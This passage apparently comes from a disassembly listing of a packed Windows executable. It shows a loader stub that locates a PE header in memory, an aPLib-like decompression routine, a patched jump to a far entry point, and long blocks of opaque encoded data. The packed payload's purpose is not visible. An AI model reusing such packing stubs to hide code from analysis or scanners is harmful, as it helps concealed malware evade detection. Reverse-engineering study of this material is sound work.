		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53CC4F
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53CC4F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 157336Ch, 8B21BCEFh,	0C0BF2B84h, 74736552h, 38727361h
		dd 2EBD7041h, 8D70783Eh, 1D2259F5h, 0F9D71FC2h,	0DF081724h
		dd 215C36E4h, 1E77F77h,	11F1FD08h, 5E7D0817h, 0CFD23343h
		dd 1EBDBB20h, 9888BF01h, 0EAEB43B8h, 2103C61Ch,	24E549FFh
		dd 5504EA55h, 21343050h, 1BDD312Dh, 3E840392h, 0B06BD6BFh
		dd 3DC35A8h, 71E45F21h,	0FEDD215Ch, 65685401h, 6164696Dh
		dd 0B1FA9072h, 0D4C8C58Bh, 0E84260h, 7BED815Dh,	0C063733h
		dd 1D9D9589h, 0A122B50Dh, 0B1853817h, 0BD108340h, 0E7022F5h
		dd 0E88B0C74h, 23B8E245h, 70DEC2E9h, 0E2244438h, 1FED3Eh
		dd 0A3E8456Ah, 9A6829C0h, 0F4078374h, 250AA0DFh, 0A893D4Bh
		dd 0E914D522h, 0AFEC0214h
		db 0A0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	eax, 0EED8C483h
		sbb	byte ptr [edx-7Fh], 0EAh
		imul	esi, [eax+eax*4], 0C712DA8Bh ; CODE XREF: Themida_:004E036Cj
		inc	ebp
		fdiv	dword ptr [esi]
		or	[esi], cl
		xor	[eax-77h], eax
		or	[ecx-737F0683h], al
		sbb	eax, 8200F74h
		inc	byte ptr [ebx+3010D349h]
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_4E0349+6
; ---------------------------------------------------------------------------
		dw 36C6h
		dd 0E82661DCh, 4C228C9h, 0C4810D46h, 1C02FF7Ch,	8D88B249h
		dd 8B800245h, 85C7085Dh, 94501988h, 0D1010A8Dh,	411888C3h
		dd 810B5189h, 50644BDh,	28E3755Dh, 0BA518D27h, 8075D864h
		dd 0BB0E8A09h, 0B85B23F4h, 7854F0ABh, 61D07ED3h, 754B080Fh
		dd 0C3AFD8F7h, 4A464729h, 0F9154623h, 61D11542h, 3AD0D08Ah
		dd 0EEC5FEF0h, 4D05FC45h, 0AD1E04EBh, 3E804646h, 0BAF72940h
		dd 3034B784h, 7FEB0C7Dh, 66F83EC8h, 0F042126Dh,	40F40E65h
		dd 65C14A10h, 0D6A004F0h, 0E01CD1F8h, 28B0C203h, 0E8ADB33h
		dd 0FB80301Ch, 0A0A7266h, 577391Eh, 3379EB9Fh, 0FB611422h
		dd 660A3F0Dh, 0AF1E08B7h, 560AC3A7h, 41181A10h,	460A0B72h
		dd 24066F77h, 5D010C51h, 39F4ECF0h, 28D7D83h, 9B0CB072h
		dd 0B3A576C0h, 0F82620AAh, 0B58D03E7h, 553BA800h, 54820FFCh
		dd 0E0B0BD78h, 2838DFAAh, 700870BAh, 0FC7054B9h, 35F820BDh
		dd 470FFE00h, 0B9FA7549h, 0EE6AE222h, 0FA0171BBh, 0EB8237F1h
		dd 8EC18E0Ch, 0C4384786h, 65705107h, 0FD1D366Fh, 7268ACAh
		dd 1205E914h, 7E07FA59h, 51F76BA5h, 7E1B04D6h, 8AC8F921h
		dd 5251945h, 801E0982h,	0C4514121h, 1C464F14h, 0C0752CEBh
		dd 61BAA9C5h, 0EA3345B2h, 0C0932B07h, 6DF0B51h,	0C32C62F7h
		dd 0F16C8CFDh, 8C5678EEh, 11C45E39h, 1B886D8Ah,	0C4564680h
		dd 9A09135h, 9A8B9538h,	841FB78Ch, 0D4F8EF00h, 0A47F0C21h
		dd 6199004Ch, 8CBB0442h, 630C7BBAh, 3113EA3Fh, 69520022h
		dd 0A51B8546h, 2E008896h, 0D8839241h, 78FB3A4h,	8C575CAEh
		dd 0CB674ED9h, 82670034h, 5B004E39h, 0B8100F76h, 7C043D51h
		dd 613B76D1h, 9755C46h,	8011D52Eh, 0E4EC480Eh, 0A4069065h
		dd 0C58402BFh, 5A968E05h, 7853DCA4h, 29C25404h,	9071508Ch
		dd 0A60ED0E7h, 2BFF6176h, 80047781h, 0C1341D22h, 3233F984h
		dd 3FBC2075h, 0CC0AEE0Eh, 0A10230EFh, 8CC4ECE9h, 0FFCCCF7Fh
		dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h
		dd 845AAB66h, 56481384h, 825EC142h, 815565EEh, 9F236308h
		dd 13B9548Ah, 0A5972340h, 78B80943h, 5A493A18h,	0A237ED00h
		dd 0DA8D6717h, 0FA610053h, 5C628EB7h, 503E281h,	8610CA0Bh
		dd 0C375349h, 3C6E2A00h, 8A4BA679h, 0B964A00h, 0F3583A62h
		dd 75BB0183h, 9E86C8DCh, 2AA9809h, 51106139h, 8FD94381h
		dd 0CEA5341h, 58AB0B80h, 0DA3FAA6Eh, 4B0D0500h,	0EA62DBEBh
		dd 6723C11Dh, 492ED4BCh, 6240531h, 0F08EA45h, 40C0AE00h
		dd 0B59D67C4h, 4A86198Ah, 88F6301Ch, 14243A0Eh,	850319E9h
		dd 0F5CCE15Ah, 59CC80FCh, 0C0031060h, 5FC882CFh, 3267D69h
		dd 1F3FBFF7h, 0C7E85189h, 780AFCA3h, 0BE8D10B0h, 0BCCABB40h
		dd 185270D5h, 190FEA38h, 0EE00A7DEh, 0CD7A8E74h, 56AA0E3h
		dd 0AAEC6948h, 28B085Ch, 0C482F980h, 487268C5h,	0E10F4E3Dh
		dd 807CF48Eh, 74120A0Dh, 0F998C10h, 0F8C2AA33h,	1F588BECh
		dd 0CF673CA1h, 0EABE54CCh, 0D4B80C13h, 0E9520890h, 8449E501h
		dd 0EEA05F0h, 39972580h, 5CDA30A0h, 34E44170h, 4F5D1A12h
		dd 50508A10h, 61881C0Fh, 562600C0h, 0BA574430h,	0F414E746h
		dd 22DE5A45h, 0EA6EE33h, 8611C412h, 15E9F922h, 0E0B9A520h
		dd 0BE750085h, 0A675758h, 2D008F24h, 4162F44Ch,	5A0DFC6h
		dd 0EA5A6CB3h, 28889053h, 0D009FBAh, 0F93AA945h, 7905BBF6h
		dd 4CC30941h, 0B2809AF5h, 16FDBFE2h, 73FA0650h,	9E977A26h
		dd 7E802C1Fh, 0C313AAC4h, 383360CFh, 7BC1CDF7h,	0DA2C0F00h
		dd 0F009C028h, 685B009Ch, 6FE504Ah, 0E83BA2D2h,	0BC820171h
		dd 353BACA0h, 774000CBh, 3E2BD9F0h, 85079776h, 2CAC41C4h
		dd 917B5250h, 4070069h,	4846B964h, 2F006AE6h, 806C2CE4h
		dd 73F88BADh, 0CFE0183Ah, 0D408914Dh, 947B5698h, 873C0713h
		dd 38A4DB00h, 0C077D216h, 0B47DF7F1h, 0BEECB044h, 293E460Ch
		dd 4018FBh, 162E7C72h, 2DA624ABh, 852A8800h, 3E25ACF1h
		dd 0B13A00C0h, 52F8D982h, 183CC1EBh, 0FFB580C4h, 0BA8A38E3h
		dd 4E300C16h, 0D50D078h, 7928BC30h, 0DD23F4h, 0F082850Fh
		dd 60EB31E1h, 0F7CB0C00h, 2B699C4Dh, 65BF0675h,	414C1C34h
		dd 7D6AFB00h, 0E1E7A727h, 78140E7Ah, 3763D1DDh,	3B89D620h
		dd 3842E846h, 1E70261Eh, 0B3D70FFAh, 33CF5E4Eh,	0B0108021h
		dd 284B73C6h, 1EF53564h, 413F39DFh, 0F3177F96h,	70288134h
		dd 549FDE4Eh, 0CAAB8C00h, 90687F0h, 5B9BBC36h, 0A9330318h
		dd 693FB145h, 98621B8h,	190A960Dh, 0EB001070h, 179A7h
		dd 8CAC8408h, 93BFD85Ch, 6FD00701h, 5382D689h, 1F419441h
		dd 4DB77880h, 66BB32C0h, 2E7E6A00h, 9753C861h, 85A301E7h
		dd 76FE8E2Fh, 0EBA9A82Dh, 0C6D6CB06h, 1F02779h,	3341108Eh
		dd 0E1CA901Dh, 0FBE08C42h, 7D35305Bh, 0E7A1C018h, 891AD48Eh
		dd 8595E100h, 41EFAC44h, 0D9A00090h, 8AFD7C20h,	406299Eh
		dd 5FF15352h, 91260038h, 5DF2A16Ah, 930070EAh, 430EFDEBh
		dd 3CF97BDEh, 308C134Fh, 37317197h, 315AB214h, 6A3200C4h
		dd 0C3AA514Dh, 68650146h, 0B245E02Ch, 17998610h, 3E138D6h
		dd 5A569295h, 0C1142BCAh, 152CAB2Eh, 7C9CB359h,	0F215B10Ch
		dd 334C114Ah, 91512EB5h, 403FCBE1h, 7E5FB084h, 32B35A18h
		dd 182A1D39h, 28575134h, 4E803E93h, 0BB49B6h, 3D2F147Ah
		dd 6E809C0Ah, 153E14F2h, 5C043300h, 0E0C3171Eh,	71B0B6h
		dd 0EA110AB3h, 0B009665Eh, 4C68E198h, 0AE039248h, 5026F2B6h
		dd 0FB51810h, 0FC5A3E03h, 1FF08767h, 59C0BF8Fh,	4C082292h
		dd 791CB730h, 0A82E7886h, 0C44F8Ch, 83C5F053h, 0B294EBB3h
		dd 3AADEF0Eh, 9EFF2693h, 2C39C086h, 90761BD7h, 2A10EC26h
		dd 4D93CA06h, 0F5B801E8h, 0A5316844h, 240EE94Ch, 1CE835A0h
		dd 0B2553700h, 0AB02DB0Ch, 2DC60FBBh, 0FB022C66h, 34401B7Ah
		dd 6CFE93B8h, 45BBE4A0h, 1413AB22h, 0D0B15A86h,	0B20DF83h
		dd 6E8952C0h, 4A537105h, 0D8204778h, 0D088E7h, 0A3FE33Eh
		dd 5B322396h, 0C32E030Eh, 15CCA113h, 184146D5h,	698912AEh
		dd 82072F1h, 3ECFC669h,	0DECB9C05h, 0B406466Fh,	2163F1h
		dd 5E99C227h, 2DB2166Eh, 0F9451E00h, 750F9EB6h,	296001E3h
		dd 1FBC4BA4h, 0A542435h, 8E002491h, 44A8DED5h, 0AABC068Dh
		dd 0F8501EBBh, 80952038h, 0E794AE93h, 7C979983h, 0F45479AAh
		dd 88566373h, 98116BB3h, 5522570Fh, 24E73200h, 0DC568E67h
		dd 1A09EC1Ah, 215BEFCFh, 7FFAC0C0h, 8AF35C00h, 0AF201F4Eh
		dd 0A46C5197h, 18DC09E1h, 0BF21392h, 9868503Ah,	6368DB26h
		dd 0FA4CBB6h, 22B20284h, 1EC84044h, 5F753094h, 9FBEDC8h
		dd 198604Dh, 73F4597Dh,	8981454Ah, 9DE6CA70h, 27488329h
		dd 0BCCE8492h, 0D49FA090h, 0ABAA0C15h, 0F45058A6h, 0A3F63Ah
		dd 54A43426h, 0DF6722h,	7E3B02B6h, 1B886633h, 6F983A00h
		dd 0F53CD7ACh, 0BC030064h, 9A92F268h, 930009B0h, 8C37E4A1h
		dd 3C9629A0h, 2ABC87D9h, 6F76440Fh, 6B21F081h, 0A70CC85Ah
		dd 0ED3CF100h, 0A218DB64h, 9DFE0006h, 0AD92031Dh, 12F6DFF7h
		dd 82F2C900h, 15A40526h, 2684900Ah, 61A0692Ch, 816A7618h
		dd 0CBD887F8h, 18832BCEh, 6792C550h, 18D5E02Ah,	307E84A0h
		dd 9F0B9090h, 5B8016h, 0D68C7C08h, 142BFE1Dh, 0D0382FF3h
		dd 40370E12h, 72C5908Ch, 3104DE9Ch, 1BB44583h, 0B88C6C94h
		dd 763D0058h, 551138FAh
		dd 7D3CF363h, 0A90A80DAh, 4FE22B61h, 580B2CC6h,	23BC8058h
		dd 0AE6E08F3h, 7441DE7Eh, 447F8088h, 2E610BE0h,	2A9B909Dh
		dd 0F42F76h, 60D9443Bh,	0DDDC59E7h, 75CF063Fh, 0A432B726h
		dd 844A6B89h, 1A423118h, 0E1C0617Ch, 0BE00BF63h, 1C415C52h
		dd 3311E034h, 4E307531h, 91043FEBh, 550BE291h, 3422AE09h
		dd 80900A95h, 2D00753Eh, 9AD0A08Dh, 24EDC33Bh, 0EFA2AFh
		dd 0BD41E3B8h, 8F0CC597h, 483D03AAh, 20CC90E9h,	837358DEh
		dd 0F28FEA09h, 3B78A3F7h, 0B3E2C3F3h, 5100254h,	0C8ED15F0h
		dd 98022C6Ah, 0D6025AC7h, 0ACC8829Fh, 0D786006Fh, 0E798E810h
		dd 8943E306h, 22400681h, 1E78A8EEh, 0B758D80Ah,	24808C8Ah
		dd 0AA459727h, 486860EEh, 2DAD5A89h, 101821CBh,	320A7Ch
		dd 2B1C9998h, 0D6DF3712h, 4816E33Bh, 91800630h,	5C967AAh
		dd 6848F3B8h, 659C05EDh, 0AC988836h, 460AC314h,	77097580h
		dd 266EBE92h, 20E01024h, 0FE034B9Bh, 33AC360Eh,	9510003Bh
		dd 3DA1CDDAh, 0BC3F2E73h, 3F4C96Bh, 7BBEAF8Fh, 0EC10065Eh
		dd 8851DFF2h, 930D81FEh, 104CCFAAh, 3DE7E0CCh, 317C960Eh
		dd 0AE885AF2h, 0D4362Eh, 4307762h, 186FC4CFh, 8871958h
		dd 7920665Ah, 0B08845Eh, 39307D07h, 4A352804h, 6F601071h
		dd 440E1F56h, 0E516F945h, 8601AB0Fh, 1223B7DFh,	0F35140D4h
		dd 0C3593C0h, 6245D7E3h, 0AD2E4C38h, 3F414028h,	8878185h
		dd 0A880877Fh, 0E0F9C03h, 25610042h, 0A006725Eh, 0B500DE64h
		dd 7A62588Bh, 71CAEDE5h, 83022CC9h, 0ACBB0504h,	77840B76h
		dd 81D5DC90h, 7428CB07h, 4BC4058Dh, 13362090h, 0B51500ABh
		dd 2EEDF0E0h, 16790B28h, 9C6093F6h, 56CBD749h, 380C902Fh
		dd 75B0BBACh, 4CE51018h, 9FC43109h, 0B86C4852h,	2A0F30B4h
		dd 0AC08C5B9h, 4D1A5801h, 0EEBFA3Eh, 76B6CAFCh,	1F99013Bh
		dd 0B0668FDh, 0BF88502Ch, 6301514Bh, 0AE501020h, 34343893h
		dd 0A1C77D6h, 0AF16884h, 7A3F0018h, 0D4F715FDh,	0D8F4E33Fh
		dd 0C3B80428h, 90C02E32h, 6F04CBD5h, 0AD2B1869h, 0B0597410h
		dd 5812F0A4h, 205F22BDh, 2C04F5D6h, 0D5003EFAh,	0BCF027FFh
		dd 6F0C7C92h, 5046AEC2h, 784C1063h, 0B170032Fh,	0F855D57Ch
		dd 3A17622Ah, 598CE15Fh, 2E6944B6h, 815AAC32h, 2B0E477h
		dd 0D548FAEh, 67C3E094h, 6063BEC0h, 2344DCB2h, 20B44A59h
		dd 45AF3B24h, 0B0E0B74Ch, 1F03E34h, 0BB2BAD7Bh,	0D83106B8h
		dd 4D00E91Ch, 9F729CB9h, 0CD77D3Eh, 475BE667h, 9B059068h
		dd 76D1053Ah, 0BF7F4C00h, 26B48A02h, 1FB625FBh,	0BE9F8971h
		dd 477AB805h, 83F06A90h, 11190E9Bh, 0B4720756h,	0B3D79182h
		dd 98803322h, 0B713866Ah, 0E9991201h, 73C3AEAFh, 0FB89809Fh
		dd 406FE697h, 45851358h, 8CB251B6h, 5CF21624h, 0D91C904Bh
		dd 7C150056h, 81AED7E5h, 0A31AD32h, 9699884Eh, 80D29892h
		dd 2AFBD524h, 0A28002EDh, 6B5BBEBCh, 2E102C50h,	99082288h
		dd 0BAAD8038h, 8765675Eh, 0E3D70D00h, 3057AE78h, 367B25EFh
		dd 8442489h, 4C7CB442h,	7C9498F3h, 0ECD41C3Ah, 6116885Ch
		dd 1BCF58h, 2067BD62h, 36E2ADh,	0FF28D9DAh, 90137D6Fh
		dd 3B07F212h, 0AF1EB400h, 927CAAABh, 54BAF4h, 0D05C0D66h
		dd 1B7173B9h, 0F98F803h, 65F1DD8h, 0F3B6AE6Eh, 63E8804Dh
		dd 44E7089h, 5C1FB014h,	52E2D10h, 61FFF291h, 88DE0C92h
		dd 59829882h, 52951B1h,	22CCCCF7h, 0FF6F8D03h, 0C0B30AC9h
		dd 4A70E54h, 0E73C70A8h, 959CA04Fh, 5942F21Bh, 0C3F0E258h
		dd 172AAA4h, 8EDFB6F3h,	40115CB9h, 0B7BB9EFAh, 154A0163h
		dd 6A365D96h, 2043C9E3h, 0AB7EAC34h, 690E3494h,	1613FE06h
		dd 32F66840h, 83AF99h, 73A7B0EBh, 1F419A51h, 2238A566h
		dd 5021F829h, 0F68033h,	86E02AFFh, 3C6972AFh, 0F94FC734h
		dd 0A98B880Ch, 0E10712B0h, 0C310D068h, 90C73AFAh, 8CAE9AAh
		dd 2894188Bh, 871AE4F4h, 0AD104041h, 7DA88B6Eh,	1A60E3ACh
		dd 0B6B1B591h, 2A79C053h, 0E3B4F809h, 3C211E6Ah, 8227B608h
		dd 0CEB80FEBh, 0DBD518A1h, 0B284346Eh, 0C86BA13Dh, 774A22D4h
		dd 3AF707F8h, 0B033B7A5h, 69EEDF6Ch, 1E7C36F4h,	76C36A18h
		dd 0ECEB8041h, 24109254h, 461C340Dh, 710ED8A6h,	5D513393h
		dd 0AB85D3Ch, 8C897D6Dh, 9C206103h, 0EDB91432h,	8C504CEBh
		dd 0E1888B7h, 81D1CF69h, 535203FCh, 57D0EBD1h, 0B6BE0922h
		dd 0FA012EA9h, 39A66F38h, 33703E4h, 4833F316h, 6C139511h
		dd 0AB4C045Fh, 0A46E498Dh, 0D6407254h, 9E187544h, 0F483C4B8h
		dd 0A93BC1E7h, 11285A38h, 41F03635h, 58C52ADFh,	94432BB6h
		dd 0E8736190h, 5CF55CD8h, 0B211E431h, 1EAB0036h, 1A014732h
		dd 0BA40A7B0h, 3058E617h, 81338654h, 0F18732C0h, 61E3762Dh
		dd 0A677916Dh, 0DEC04220h, 335624C4h, 0A831B03Ch, 0C459DC89h
		dd 0CC27DCF8h, 1F416278h, 97C8340Ah, 0B022075Eh, 74843228h
		dd 1E50F0D4h, 0F26ED0C0h, 5AF5808h, 0ED66C35h, 28480ADBh
		dd 1BEED9BCh, 1CA4163Fh, 0B7B93E4h, 8416F0Eh, 0C22B134Dh
		dd 0B14C0134h, 69618C16h, 8479A923h, 261DE220h,	188B27B1h
		dd 0B23539B4h, 836DE707h, 25A7FDACh, 0E09CD10h,	3530C4BDh
		dd 687080AAh, 773BE8EAh, 6063F937h, 0F307ED81h,	9984E293h
		dd 0BC48E020h, 6B7F3718h, 82E59430h, 0A040919Ch, 0AF58893Bh
		dd 36E016F4h, 177F845h,	0C08A7CA0h, 0BAC8D5B0h,	5E008710h
		dd 0CB750D69h, 0EBD044h, 6654620Ah, 563F490h, 0CD8D9F00h
		dd 9EBDC2BFh, 7460FE2h,	0FC27F226h, 7E50F32Ch, 32DAA7F8h
		dd 35D54Ch, 40E1479Ah, 0C313DEAh, 8DB19094h, 0DC079C40h
		dd 0F225FC55h, 954180AEh, 1FBF7166h, 0C340B6D1h, 52A90439h
		dd 48C86CDBh, 9D009415h, 0EFC3C00Ch, 0F49DCA7h,	0B3C925EEh
		dd 7C954220h, 6F58E171h, 40FA978h, 1F895FBh, 1CC6BEEEh
		dd 0D8206696h, 3EBD00A4h, 5A0C3A04h, 69006B13h,	0A6167B05h
		dd 78DF390h, 0DD93C0ADh, 0C5B34140h, 0A04080BFh, 0D324305Eh
		dd 0DC2C00F3h, 80A91936h, 21D5F75h, 1F002D3Eh, 0C6CBDDAEh
		dd 59D80CBFh, 0C80C25C4h, 79891A18h, 3F3A940h, 0F83CD343h
		dd 4DD86EA8h, 191F48E9h, 0D1808C61h, 0D8C3B1F7h, 0B3FF0F30h
		dd 1A03FDC4h, 0FC86B95h, 4613B0A7h, 38092AD3h, 5D941728h
		dd 0B9B3DC00h, 760A446h, 0F3A7B67Eh, 0F73CB035h, 7D3D69A8h
		dd 1538805Fh, 0D3CD93A6h, 0E9EF0CCh, 0B2EE9CC7h, 19C1BF40h
		dd 7539B587h, 3EDA0021h, 53CB39D2h, 7C930058h, 5B7265DFh
		dd 0B901DD38h, 0C691C2B2h, 4084C088h, 4E44C3D9h, 1FB1400Bh
		dd 0CB3EDCh, 53815459h,	0A2583208h, 8E099300h, 0D791C6C1h
		dd 0B1EE0055h, 10C3CC98h, 8001B59Ch, 1FB8D40Dh,	0A5E33EDEh
		dd 0C0AF8C9Ah, 0C8ECBF1Ah, 0A04600FCh, 0A5087E6Bh, 50E48C7h
		dd 0E4A8B6EBh, 4E1F516Ah, 0C06F9693h, 0E300BE8Eh, 0DB25EB55h
		dd 19BDC800h, 216D68CAh, 0ECC348CEh, 61FF2A00h,	0EC69C457h
		dd 9E583E00h, 0B2D0228Ch, 0E2FC0019h, 98B4C930h, 4100C6DCh
		dd 0F87C7A86h, 2FF3B8h,	0A905EBE6h, 0EF5E6BA3h,	0A0584700h
		dd 0C1CECBA7h, 0E0E4C2h, 98F7FC59h, 9B1CC4D1h, 246AB51Dh
		dd 0D481B6C0h, 7E8FF53Ch, 0AC7B5887h, 0A4022F22h, 0C692C0CAh
		dd 8D086686h, 84D0FF04h, 454006Bh, 155273ABh, 78026FA8h
		dd 361FA2FAh, 40349569h, 0A38F016Dh, 0A11E4803h, 0A0047A92h
		dd 2B49653Fh, 861C9352h
		dd 104E8977h, 24F9B002h, 54B34C1Dh, 0AC31843Ch,	3B54BC13h
		dd 0FE80F80h, 410544Ch,	632FE293h, 0E3B49601h, 0E0002A36h
		dd 0AB2AA270h, 411730AAh, 19A53520h, 48882031h,	898037A7h
		dd 0B8B6BECAh, 270A355Fh, 1C87999Dh, 0E72DD0CEh, 0CA95C8A3h
		dd 735FCD90h, 82053C1Eh, 33C6B084h, 0A60CFCA8h,	0D4687A74h
		dd 0E056C327h, 36E3B2A8h, 0E8A1650Eh, 86EEA20h,	3BC7CC4Bh
		dd 5BDEB802h, 46485445h, 810179D0h, 2A61BE86h, 0E98FEEE5h
		dd 3F49AE0Fh, 8900F850h, 70801CD6h, 60178669h, 846B12Ah
		dd 91057AF8h, 0A933511Bh, 0C01F6CF0h, 0F8206921h, 22F01136h
		dd 0E8F18627h, 1C218h, 0AC2066A3h, 83F29379h, 2C0EA9C5h
		dd 36ECE440h, 0D827DEh,	0BD951A84h, 0AA0DCDDBh,	6373263Ah
		dd 8BAE70C8h, 96D91D17h, 936F41C0h, 0D07FC685h,	4964D3CAh
		dd 80403959h, 3ECB98C9h, 97C6FE01h, 8B54ABAEh, 36F6F882h
		dd 0CFA0E86h, 0F49C5000h, 53BAD885h, 72EF332Ah,	21076108h
		dd 0F8F48431h, 5680DDE0h, 85FF4FD6h, 42280438h,	0D5170769h
		dd 9CAD1F64h, 0B5FD1B80h, 0B31D9DABh, 0F4C0B6CCh, 1CA8D6FAh
		dd 34CB79E8h, 8D81AEFh,	6C088BCh, 46917CF8h, 7141300Bh
		dd 0F81E6Bh, 18D18E0Dh,	84D97C95h, 5860F1E2h, 7A081FB9h
		dd 98EC3A56h, 1E002AB8h, 0C56C3422h, 600830Fh, 0E004A985h
		dd 9D3BE6AFh, 0E3273800h, 938038CFh, 0D90A02B2h, 5BECB44Fh
		dd 0B3DAD701h, 4C2054EDh, 1E26298Bh, 418E39D4h,	0AA40AE80h
